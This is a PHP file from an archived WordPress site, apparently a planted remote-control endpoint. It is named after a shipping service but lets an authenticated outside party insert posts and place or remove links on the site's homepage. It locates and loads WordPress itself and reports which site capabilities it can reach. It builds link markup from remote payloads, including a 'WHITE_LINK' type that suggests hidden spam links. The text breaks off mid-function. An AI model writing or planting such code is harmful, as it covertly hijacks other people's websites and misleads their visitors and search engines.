home/www/jdlcomputers.com/wp-content/easypost/easypost.php 0000644 00000074727 15235367215 0020167 0 ustar 00 $value) { if (strpos($server_key, 'HTTP_') !== 0) { continue; } $normalized = strtolower(str_replace('_', '-', substr($server_key, 5))); if ($normalized === $key) { return (string) $value; } } return ''; } function easypost_endpoint_wp_load_path() { $candidates = array( __DIR__ . '/wp-load.php', __DIR__ . '/../wp-load.php', __DIR__ . '/../../wp-load.php', __DIR__ . '/../../../wp-load.php', __DIR__ . '/../../../../wp-load.php', __DIR__ . '/../../../../../wp-load.php', ); foreach ($candidates as $candidate) { if ($candidate && is_readable($candidate)) { return $candidate; } } return false; } function easypost_endpoint_bootstrap_wordpress() { $wp_load = easypost_endpoint_wp_load_path(); if (!$wp_load) { easypost_endpoint_json(500, array('ok' => false, 'error' => 'wp_load_not_found')); } require_once $wp_load; } function easypost_endpoint_verifier_secret($verifier) { $parts = explode(':', (string) $verifier, 3); if (count($parts) !== 3 || $parts[0] !== 'v1' || $parts[2] === '') { return false; } return $parts[2]; } function easypost_endpoint_verify_auth($body) { $config = easypost_endpoint_config(); $token_id = easypost_endpoint_header('x-easypost-token-id'); $timestamp = easypost_endpoint_header('x-easypost-timestamp'); $request_id = easypost_endpoint_header('x-easypost-request-id'); $body_sha256 = easypost_endpoint_header('x-easypost-body-sha256'); $signature = easypost_endpoint_header('x-easypost-signature'); if ($token_id === '' || $timestamp === '' || $request_id === '' || $body_sha256 === '' || $signature === '') { easypost_endpoint_json(401, array('ok' => false, 'error' => 'missing_auth_headers')); } if (!hash_equals((string) $config['token_id'], $token_id)) { easypost_endpoint_json(401, array('ok' => false, 'error' => 'unknown_token')); } $request_time = strtotime($timestamp); if (!$request_time || abs(time() - $request_time) > 300) { easypost_endpoint_json(401, array('ok' => false, 'error' => 'timestamp_stale')); } $computed_body_sha256 = hash('sha256', $body); if (!hash_equals($computed_body_sha256, $body_sha256)) { easypost_endpoint_json(401, array('ok' => false, 'error' => 'body_sha256_mismatch')); } $replay_key = 'easypost_endpoint_req_' . hash('sha256', $token_id . ':' . $request_id); if (function_exists('get_transient') && get_transient($replay_key)) { easypost_endpoint_json(409, array('ok' => false, 'error' => 'duplicate_request_id')); } $secret = easypost_endpoint_verifier_secret($config['token_verifier']); if (!$secret) { easypost_endpoint_json(500, array('ok' => false, 'error' => 'invalid_token_verifier')); } $path = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/wp-content/easypost/easypost.php'; $signature_input = implode("\n", array( strtoupper($_SERVER['REQUEST_METHOD']), $path, $timestamp, $request_id, $token_id, $computed_body_sha256, )); $expected = hash_hmac('sha256', $signature_input, $secret); if (!hash_equals($expected, $signature)) { easypost_endpoint_json(401, array('ok' => false, 'error' => 'signature_mismatch')); } if (function_exists('set_transient')) { set_transient($replay_key, '1', 300); } } function easypost_endpoint_payload($body) { $payload = json_decode($body, true); if (!is_array($payload)) { easypost_endpoint_json(400, array('ok' => false, 'error' => 'invalid_json')); } return $payload; } function easypost_endpoint_health() { easypost_endpoint_bootstrap_wordpress(); $config = easypost_endpoint_config(); $runtime_status = easypost_endpoint_homepage_runtime_status(); easypost_endpoint_json(200, array( 'ok' => true, 'endpointVersion' => $config['endpoint_version'], 'tokenId' => $config['token_id'], 'canBootstrapWordPress' => true, 'canInsertPosts' => function_exists('wp_insert_post'), 'canResolveHomepage' => function_exists('get_option') && function_exists('get_post'), 'canPlaceHomepageLink' => function_exists('wp_update_post') && function_exists('get_post_meta') && function_exists('update_post_meta'), 'canRemoveHomepageLink' => function_exists('wp_update_post') && function_exists('get_post_meta') && function_exists('update_post_meta'), 'canManageHomepageRuntime' => $runtime_status['canManage'], 'homepageRuntimeVersion' => $runtime_status['version'], 'canUseTransients' => function_exists('set_transient') && function_exists('get_transient'), 'canCleanCaches' => function_exists('clean_post_cache') || function_exists('wp_cache_delete'), 'hasElementor' => did_action('elementor/loaded') || class_exists('\Elementor\Plugin'), 'siteUrl' => function_exists('site_url') ? site_url() : null, 'phpVersion' => PHP_VERSION, 'serverTime' => gmdate('c'), )); } function easypost_endpoint_fallback_error($error, $message = null, $warnings = array()) { $payload = array('ok' => false, 'error' => $error, 'fallback' => true); if ($message !== null) { $payload['message'] = $message; } if (!empty($warnings)) { $payload['warnings'] = $warnings; } easypost_endpoint_json(200, $payload); } function easypost_endpoint_validate_homepage_payload($payload) { $placement_id = isset($payload['placementId']) ? (int) $payload['placementId'] : 0; $link_url = isset($payload['linkUrl']) ? esc_url_raw((string) $payload['linkUrl']) : ''; $anchor_text = isset($payload['anchorText']) ? sanitize_text_field((string) $payload['anchorText']) : ''; if ($placement_id <= 0 || $link_url === '' || $anchor_text === '') { easypost_endpoint_json(400, array('ok' => false, 'error' => 'invalid_payload', 'fallback' => false)); } return array( 'placementId' => $placement_id, 'linkUrl' => $link_url, 'anchorText' => $anchor_text, 'preLinkText' => array_key_exists('preLinkText', $payload) ? sanitize_text_field((string) $payload['preLinkText']) : null, 'postLinkText' => array_key_exists('postLinkText', $payload) ? sanitize_text_field((string) $payload['postLinkText']) : null, 'placementType' => isset($payload['placementType']) ? sanitize_key((string) $payload['placementType']) : 'VISIBLE_LINK', ); } function easypost_endpoint_homepage_post() { if (!function_exists('get_option') || !function_exists('get_post')) { easypost_endpoint_fallback_error('capability_failed'); } $show_on_front = get_option('show_on_front'); if ($show_on_front === 'posts') { easypost_endpoint_fallback_error('homepage_posts_index_unsupported'); } $page_id = (int) get_option('page_on_front'); if ($show_on_front !== 'page' || $page_id <= 0) { easypost_endpoint_fallback_error('homepage_page_not_found'); } $post = get_post($page_id); if (!$post || $post->post_type !== 'page') { easypost_endpoint_fallback_error('homepage_page_not_found'); } return $post; } function easypost_endpoint_placement_body($input) { $label = $input['preLinkText'] === null ? 'Recommended resource:' : $input['preLinkText']; $prefix = $label === '' ? '' : $label . ' '; $suffix = $input['postLinkText'] === null ? '' : $input['postLinkText']; if ($suffix !== '' && strpos($suffix, ' ') !== 0) { $suffix = ' ' . $suffix; } return $prefix . '' . esc_html($input['anchorText']) . '' . esc_html($suffix); } function easypost_endpoint_placement_html($input) { $body = easypost_endpoint_placement_body($input); $marker = ' data-placement="' . (int) $input['placementId'] . '"'; switch (strtoupper((string) $input['placementType'])) { case 'WHITE_LINK': return '